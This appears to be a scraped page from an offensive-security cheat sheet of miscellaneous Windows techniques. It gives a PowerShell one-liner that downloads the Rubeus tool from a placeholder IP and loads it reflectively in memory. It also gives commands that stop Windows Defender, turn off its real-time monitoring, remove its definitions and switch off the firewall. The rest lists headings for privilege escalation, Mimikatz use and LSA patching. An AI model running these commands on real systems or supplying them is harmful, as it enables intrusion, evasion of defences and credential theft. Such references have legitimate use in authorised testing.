Miscellaneous
Reflective Loading
$d = (New-Object http://System.Net.WebClient).DownloadData('http://<ip>/Rubeus.exe')
$a = [System.Reflection.Assembly]::Load($d)
[Rubeus.Program]::Main("triage".Split())Windows Defender
# Disable service
sc.exe stop WinDefend
# Disable runtime
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllFirewall
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state offIp Whitelisting
Changing Permissions of a file
Downloading files
Adding user to Domain admins
Base64 Encode-Decode
Network sharing
Port Forwarding
Powershell Portscan
Recovering Powershell Secure String
Injecting PowerShell scripts Into sessions
Enable RDP
Decrypting EFS files with Mimikatz
Patching LSA
Last updated